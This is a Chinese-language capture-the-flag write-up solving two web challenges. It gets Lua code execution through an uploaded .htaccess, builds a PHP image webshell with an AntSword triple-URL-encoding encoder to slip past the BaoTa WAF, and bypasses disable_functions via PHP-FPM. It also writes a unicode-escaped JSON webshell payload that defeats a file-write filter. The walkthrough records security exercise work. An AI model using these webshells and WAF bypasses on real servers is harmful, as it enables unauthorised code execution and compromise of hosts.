web1
方法一 宝塔的apache会带一个lua模块,利用上传 .htaccess 文件去解析lua文件,再传一个lua文件来RCE
.htaccess文件的内容:AddHandler lua-script .lua
1.lua文件内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 require "string" function handle (r) r.content_type = "text/plain" local t = io .popen ('/readflag' ) local a = t:read ("*all" ) r:puts(a) if r.method == 'GET' then for k, v in pairs ( r:parseargs() ) do r:puts( string .format ("%s: %s\n" , k, v) ) end else r:puts("Unsupported HTTP method " .. r.method) end end
其中 local t = io.popen('/readflag') 是关键,这里的语句可以改成我们想要执行的语句。
然后访问1.lua 文件即可执行
方法二 1.用蚁剑的插件攻击fpm来绕过disabled_function 2.静态文件可以执行 动态文件编码三次也可以执行 3.通过换行来绕过WAF
解题,本地合成一个图片马传过去,图片马内容:
1 2 3 ?? JFIF ? C <?php eval(urldecode(urldecode(urldecode($_POST['cmd']))));
然后抓包修改后缀绕过宝塔WAF

发现成功上传,但是参数是经过三次编码的,我们可以用蚁剑写一个编码器:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 /** * php::url编码器 * Create at: 2020/10/08 11:13:29 */ 'use strict'; /* * @param {String} pwd 连接密码 * @param {Array} data 编码器处理前的 payload 数组 * @return {Array} data 编码器处理后的 payload 数组 */ function forceEncode(s) { return Array.from(s).map(i=>'%'+i.charCodeAt(0).toString(16).padStart(2,'0')).join('') } module.exports = (pwd, data, ext={}) => { const payload = data['_'] data[pwd] = forceEncode(forceEncode(forceEncode(payload))); delete data['_']; console.log(data); return data; }
然后我们连接我们传过去的555.php shell ,(连的时候注意改一下UA头,蚁剑的UA会被宝塔拦截)接下来就是绕过disabled_function
可以看到 /tmp 目录下 存在 php-cgi-74.sock ,猜测用fpm打,然后用蚁剑的插件上传so 和 php

然后用同样的方式去连.antproxy.php 文件 (编码UA头还有连接密码保持一致
然后就可以bypass了。
web5 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php include 'security.php' ;if (!isset ($_GET ['source' ])){ show_source (__FILE__ ); die (); } $sandbox = 'sandbox/' .sha1 ($_SERVER ['HTTP_X_FORWARDED_FOR' ]).'/' ;var_dump ($sandbox );if (!file_exists ($sandbox )){ mkdir ($sandbox ); file_put_contents ($sandbox ."index.php" ,"<?php echo 'Welcome To Dbapp OSS.';?>" ); } $action = $_GET ['action' ];$content = file_get_contents ("php://input" );if ($action == "write" && SecurityCheck ('filename' ,$_GET ['filename' ]) &&SecurityCheck ('content' ,$content )){ $content = json_decode ($content ); $filename = $_GET ['filename' ]; $filecontent = $content ->content; $filename = $sandbox .$filename ; file_put_contents ($filename ,$filecontent ."\n Powered By Dbapp OSS." ); }elseif ($action == "reset" ){ $files = scandir ($sandbox ); foreach ($files as $file ) { if (!is_dir ($file )){ if ($file !== "index.php" ){ unlink ($sandbox .$file ); } } } } else { die ('Security Check Failed.' ); }
代码逻辑很简单,就是往文件里面写内容,但是有限制,对文件名和内容都有一定的限制,json_decode()可以对unicode编码进行解码,所以这里我们用unicode编码尝试绕过
unicode转换的网站
http://www.msxindl.com/tools/unicode16.asp
最后我们的payload:
http://easyjson.xhlj.wetolink.com?source&action=write&filename=c.php
post data:
1 2 3 {"\u0063\u006f\u006e\u0074\u0065\u006e\u0074":"\u003c\u003f\u0070\u0068\u0070\u0020\u0065 \u0076\u0061\u006c\u0028\u0024\u005f\u0050\u004f\u0053\u0054\u005b\u0027\u0063\u006d\u0064 \u0027\u005d\u0029\u003b\u003f\u003e"}
然后蚁剑连上,getshell
这里没有想到json_decode()能对unicode解码…还是太菜了。